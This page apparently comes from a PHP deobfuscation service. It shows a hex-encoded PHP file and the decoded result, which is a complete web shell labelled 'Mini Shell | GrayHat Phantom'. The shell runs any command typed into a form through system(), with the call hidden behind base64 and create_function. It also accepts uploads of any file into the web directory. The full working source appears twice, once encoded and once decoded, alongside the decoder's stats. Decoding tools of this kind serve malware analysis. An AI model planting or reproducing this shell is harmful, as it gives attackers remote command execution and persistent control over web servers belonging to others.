Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
\x65\x63\x68\x6f\x20\x27\x3c\x64\x69\x76\x20\x73\x74\x79\x6c\x65\x3d\x22\x6d\x61\x72\x67\x..
Decoded Output download
<? echo '<div style="margin-left:25%;">';\xaecho '<form action="" method="POST" enctype="multipart/form-data" name="uploader" id="uploader">\xa <input placeholder="command" name="cmd" type="text" style="width:28%;margin-right:5px;padding:5px;background:#333;color:white;outline:none;border:none;">\xa <input name="cmdsub" value="exec" type="submit" style="width:4%;padding:5px;margin-right:30px;background:red;color:#000000;outline:none;border:none;">';\xa \xa \xaecho '<input type="file" name="file" style="outline:none;border:none;color:#000;background:#333;" ><input name="_upl" style="padding:4px;margin-left:4px;outline:none;border:none;color:#000;background:red;" type="submit" id="_upl" value="Upload"></form></div></div>';\xa \xa \xaecho '</div>';\xa \xaif (isset($_POST['_upl'])) {\xa if( $_POST['_upl'] == "Upload" ){\xa if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<center><a style="text-decoration:none;color:lime;" target="_blank" href="'.$_FILES['file']['name'].'">Uploaded!!</a><br>'; }\xa else { echo '<center><a style="text-decoration:none;color:lime;" target="_blank" href="'.$_FILES['file']['name'].'">Uploaded</a><br>'; }}\xa}\xa \xa \xaecho '<div style="color:lime;overflow:auto;width:50vw;height:300px;background-color:#333;margin:auto">';\xa \xaecho '<pre>';\xaif (isset($_POST['cmdsub'])) {\xa $cmd = $_POST['cmd'];\xa $func = create_function('$a', base64_decode('c3lzdGVtKCIkYSIpOw=='));\xa echo '<div style="margin:auto;overflow:auto;padding:10px;width:80vw; height:700px;background-color:#333;">';\xa echo htmlspecialchars($func($cmd));\xa echo '</div>';\xa}\xa \xa \xaecho '</div>';\xaecho '<pre style="text-align:center;margin-top:3%;color:lime;">Mini Shell | GrayHat Phantom</pre>';\xa \xaecho '</body>'; ?>Did this file decode correctly?
Original Code
\x65\x63\x68\x6f\x20\x27\x3c\x64\x69\x76\x20\x73\x74\x79\x6c\x65\x3d\x22\x6d\x61\x72\x67\x69\x6e\x2d\x6c\x65\x66\x74\x3a\x32\x35\x25\x3b\x22\x3e\x27\x3b\xa\x65\x63\x68\x6f\x20\x27\x3c\x66\x6f\x72\x6d\x20\x61\x63\x74\x69\x6f\x6e\x3d\x22\x22\x20\x6d\x65\x74\x68\x6f\x64\x3d\x22\x50\x4f\x53\x54\x22\x20\x65\x6e\x63\x74\x79\x70\x65\x3d\x22\x6d\x75\x6c\x74\x69\x70\x61\x72\x74\x2f\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x22\x20\x6e\x61\x6d\x65\x3d\x22\x75\x70\x6c\x6f\x61\x64\x65\x72\x22\x20\x69\x64\x3d\x22\x75\x70\x6c\x6f\x61\x64\x65\x72\x22\x3e\xa\x20\x20\x20\x20\x20\x3c\x69\x6e\x70\x75\x74\x20\x70\x6c\x61\x63\x65\x68\x6f\x6c\x64\x65\x72\x3d\x22\x63\x6f\x6d\x6d\x61\x6e\x64\x22\x20\x6e\x61\x6d\x65\x3d\x22\x63\x6d\x64\x22\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x22\x20\x73\x74\x79\x6c\x65\x3d\x22\x77\x69\x64\x74\x68\x3a\x32\x38\x25\x3b\x6d\x61\x72\x67\x69\x6e\x2d\x72\x69\x67\x68\x74\x3a\x35\x70\x78\x3b\x70\x61\x64\x64\x69\x6e\x67\x3a\x35\x70\x78\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x3a\x23\x33\x33\x33\x3b\x63\x6f\x6c\x6f\x72\x3a\x77\x68\x69\x74\x65\x3b\x6f\x75\x74\x6c\x69\x6e\x65\x3a\x6e\x6f\x6e\x65\x3b\x62\x6f\x72\x64\x65\x72\x3a\x6e\x6f\x6e\x65\x3b\x22\x3e\xa\x20\x20\x20\x20\x20\x3c\x69\x6e\x70\x75\x74\x20\x6e\x61\x6d\x65\x3d\x22\x63\x6d\x64\x73\x75\x62\x22\x20\x76\x61\x6c\x75\x65\x3d\x22\x65\x78\x65\x63\x22\x20\x74\x79\x70\x65\x3d\x22\x73\x75\x62\x6d\x69\x74\x22\x20\x73\x74\x79\x6c\x65\x3d\x22\x77\x69\x64\x74\x68\x3a\x34\x25\x3b\x70\x61\x64\x64\x69\x6e\x67\x3a\x35\x70\x78\x3b\x6d\x61\x72\x67\x69\x6e\x2d\x72\x69\x67\x68\x74\x3a\x33\x30\x70\x78\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x3a\x72\x65\x64\x3b\x63\x6f\x6c\x6f\x72\x3a\x23\x30\x30\x30\x30\x30\x30\x3b\x6f\x75\x74\x6c\x69\x6e\x65\x3a\x6e\x6f\x6e\x65\x3b\x62\x6f\x72\x64\x65\x72\x3a\x6e\x6f\x6e\x65\x3b\x22\x3e\x27\x3b\xa\x20\xa\x20\xa\x65\x63\x68\x6f\x20\x27\x3c\x69\x6e\x70\x75\x74\x20\x74\x79\x70\x65\x3d\x22\x66\x69\x6c\x65\x22\x20\x6e\x61\x6d\x65\x3d\x22\x66\x69\x6c\x65\x22\x20\x73\x74\x79\x6c\x65\x3d\x22\x6f\x75\x74\x6c\x69\x6e\x65\x3a\x6e\x6f\x6e\x65\x3b\x62\x6f\x72\x64\x65\x72\x3a\x6e\x6f\x6e\x65\x3b\x63\x6f\x6c\x6f\x72\x3a\x23\x30\x30\x30\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x3a\x23\x33\x33\x33\x3b\x22\x20\x3e\x3c\x69\x6e\x70\x75\x74\x20\x6e\x61\x6d\x65\x3d\x22\x5f\x75\x70\x6c\x22\x20\x73\x74\x79\x6c\x65\x3d\x22\x70\x61\x64\x64\x69\x6e\x67\x3a\x34\x70\x78\x3b\x6d\x61\x72\x67\x69\x6e\x2d\x6c\x65\x66\x74\x3a\x34\x70\x78\x3b\x6f\x75\x74\x6c\x69\x6e\x65\x3a\x6e\x6f\x6e\x65\x3b\x62\x6f\x72\x64\x65\x72\x3a\x6e\x6f\x6e\x65\x3b\x63\x6f\x6c\x6f\x72\x3a\x23\x30\x30\x30\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x3a\x72\x65\x64\x3b\x22\x20\x74\x79\x70\x65\x3d\x22\x73\x75\x62\x6d\x69\x74\x22\x20\x69\x64\x3d\x22\x5f\x75\x70\x6c\x22\x20\x76\x61\x6c\x75\x65\x3d\x22\x55\x70\x6c\x6f\x61\x64\x22\x3e\x3c\x2f\x66\x6f\x72\x6d\x3e\x3c\x2f\x64\x69\x76\x3e\x3c\x2f\x64\x69\x76\x3e\x27\x3b\xa\x20\xa\x20\xa\x65\x63\x68\x6f\x20\x27\x3c\x2f\x64\x69\x76\x3e\x27\x3b\xa\x20\xa\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x5f\x75\x70\x6c\x27\x5d\x29\x29\x20\x7b\xa\x20\x20\x69\x66\x28\x20\x24\x5f\x50\x4f\x53\x54\x5b\x27\x5f\x75\x70\x6c\x27\x5d\x20\x3d\x3d\x20\x22\x55\x70\x6c\x6f\x61\x64\x22\x20\x29\x7b\xa\x20\x20\x69\x66\x28\x40\x63\x6f\x70\x79\x28\x24\x5f\x46\x49\x4c\x45\x53\x5b\x27\x66\x69\x6c\x65\x27\x5d\x5b\x27\x74\x6d\x70\x5f\x6e\x61\x6d\x65\x27\x5d\x2c\x20\x24\x5f\x46\x49\x4c\x45\x53\x5b\x27\x66\x69\x6c\x65\x27\x5d\x5b\x27\x6e\x61\x6d\x65\x27\x5d\x29\x29\x20\x7b\x20\x65\x63\x68\x6f\x20\x27\x3c\x63\x65\x6e\x74\x65\x72\x3e\x3c\x61\x20\x73\x74\x79\x6c\x65\x3d\x22\x74\x65\x78\x74\x2d\x64\x65\x63\x6f\x72\x61\x74\x69\x6f\x6e\x3a\x6e\x6f\x6e\x65\x3b\x63\x6f\x6c\x6f\x72\x3a\x6c\x69\x6d\x65\x3b\x22\x20\x74\x61\x72\x67\x65\x74\x3d\x22\x5f\x62\x6c\x61\x6e\x6b\x22\x20\x68\x72\x65\x66\x3d\x22\x27\x2e\x24\x5f\x46\x49\x4c\x45\x53\x5b\x27\x66\x69\x6c\x65\x27\x5d\x5b\x27\x6e\x61\x6d\x65\x27\x5d\x2e\x27\x22\x3e\x55\x70\x6c\x6f\x61\x64\x65\x64\x21\x21\x3c\x2f\x61\x3e\x3c\x62\x72\x3e\x27\x3b\x20\x7d\xa\x20\x20\x65\x6c\x73\x65\x20\x7b\x20\x65\x63\x68\x6f\x20\x27\x3c\x63\x65\x6e\x74\x65\x72\x3e\x3c\x61\x20\x73\x74\x79\x6c\x65\x3d\x22\x74\x65\x78\x74\x2d\x64\x65\x63\x6f\x72\x61\x74\x69\x6f\x6e\x3a\x6e\x6f\x6e\x65\x3b\x63\x6f\x6c\x6f\x72\x3a\x6c\x69\x6d\x65\x3b\x22\x20\x74\x61\x72\x67\x65\x74\x3d\x22\x5f\x62\x6c\x61\x6e\x6b\x22\x20\x68\x72\x65\x66\x3d\x22\x27\x2e\x24\x5f\x46\x49\x4c\x45\x53\x5b\x27\x66\x69\x6c\x65\x27\x5d\x5b\x27\x6e\x61\x6d\x65\x27\x5d\x2e\x27\x22\x3e\x55\x70\x6c\x6f\x61\x64\x65\x64\x3c\x2f\x61\x3e\x3c\x62\x72\x3e\x27\x3b\x20\x7d\x7d\xa\x7d\xa\x20\xa\x20\xa\x65\x63\x68\x6f\x20\x27\x3c\x64\x69\x76\x20\x73\x74\x79\x6c\x65\x3d\x22\x63\x6f\x6c\x6f\x72\x3a\x6c\x69\x6d\x65\x3b\x6f\x76\x65\x72\x66\x6c\x6f\x77\x3a\x61\x75\x74\x6f\x3b\x77\x69\x64\x74\x68\x3a\x35\x30\x76\x77\x3b\x68\x65\x69\x67\x68\x74\x3a\x33\x30\x30\x70\x78\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x23\x33\x33\x33\x3b\x6d\x61\x72\x67\x69\x6e\x3a\x61\x75\x74\x6f\x22\x3e\x27\x3b\xa\x20\xa\x65\x63\x68\x6f\x20\x27\x3c\x70\x72\x65\x3e\x27\x3b\xa\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x63\x6d\x64\x73\x75\x62\x27\x5d\x29\x29\x20\x7b\xa\x20\x20\x24\x63\x6d\x64\x20\x3d\x20\x24\x5f\x50\x4f\x53\x54\x5b\x27\x63\x6d\x64\x27\x5d\x3b\xa\x20\x20\x24\x66\x75\x6e\x63\x20\x3d\x20\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x27\x24\x61\x27\x2c\x20\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x27\x63\x33\x6c\x7a\x64\x47\x56\x74\x4b\x43\x49\x6b\x59\x53\x49\x70\x4f\x77\x3d\x3d\x27\x29\x29\x3b\xa\x20\x20\x65\x63\x68\x6f\x20\x27\x3c\x64\x69\x76\x20\x73\x74\x79\x6c\x65\x3d\x22\x6d\x61\x72\x67\x69\x6e\x3a\x61\x75\x74\x6f\x3b\x6f\x76\x65\x72\x66\x6c\x6f\x77\x3a\x61\x75\x74\x6f\x3b\x70\x61\x64\x64\x69\x6e\x67\x3a\x31\x30\x70\x78\x3b\x77\x69\x64\x74\x68\x3a\x38\x30\x76\x77\x3b\x20\x68\x65\x69\x67\x68\x74\x3a\x37\x30\x30\x70\x78\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x23\x33\x33\x33\x3b\x22\x3e\x27\x3b\xa\x20\x20\x65\x63\x68\x6f\x20\x68\x74\x6d\x6c\x73\x70\x65\x63\x69\x61\x6c\x63\x68\x61\x72\x73\x28\x24\x66\x75\x6e\x63\x28\x24\x63\x6d\x64\x29\x29\x3b\xa\x20\x20\x65\x63\x68\x6f\x20\x27\x3c\x2f\x64\x69\x76\x3e\x27\x3b\xa\x7d\xa\x20\xa\x20\xa\x65\x63\x68\x6f\x20\x27\x3c\x2f\x64\x69\x76\x3e\x27\x3b\xa\x65\x63\x68\x6f\x20\x27\x3c\x70\x72\x65\x20\x73\x74\x79\x6c\x65\x3d\x22\x74\x65\x78\x74\x2d\x61\x6c\x69\x67\x6e\x3a\x63\x65\x6e\x74\x65\x72\x3b\x6d\x61\x72\x67\x69\x6e\x2d\x74\x6f\x70\x3a\x33\x25\x3b\x63\x6f\x6c\x6f\x72\x3a\x6c\x69\x6d\x65\x3b\x22\x3e\x4d\x69\x6e\x69\x20\x53\x68\x65\x6c\x6c\x20\x7c\x20\x47\x72\x61\x79\x48\x61\x74\x20\x50\x68\x61\x6e\x74\x6f\x6d\x3c\x2f\x70\x72\x65\x3e\x27\x3b\xa\x20\xa\x65\x63\x68\x6f\x20\x27\x3c\x2f\x62\x6f\x64\x79\x3e\x27\x3bFunction Calls
| None |
Stats
| MD5 | d41015396c33956bdbfffac59cba7053 |
| Eval Count | 0 |
| Decode Time | 74 ms |